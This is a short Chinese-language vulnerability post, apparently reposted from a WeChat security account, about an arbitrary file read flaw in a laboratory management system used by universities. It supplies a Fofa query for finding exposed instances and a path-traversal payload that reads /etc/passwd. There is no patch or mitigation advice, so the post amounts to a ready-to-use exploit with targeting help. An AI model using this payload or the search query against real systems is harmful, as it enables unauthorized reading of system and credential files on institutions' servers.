中新天达系统存在任意文件读取漏洞PoC

0x00 前言

中新天达实验室综合管理系统是整个实验室管理的基础平台，梳理并汇总全校的实验室基础数据，具体功能包括：实验室建制管理、实验室基本信息管理、实验队伍、成果管理、实验室用房、安全与环境管理、教学与工作量等.

Fofa:body="aexp/ValidateImage"

0x01 漏洞复现

Payload:

/aexp/ProxyDownload?path=/speedec/webapps/webftp/../../../../etc/passwd

原文始发于微信公众号（星悦安全）：(EDU)中新天达系统存在任意文件读取漏洞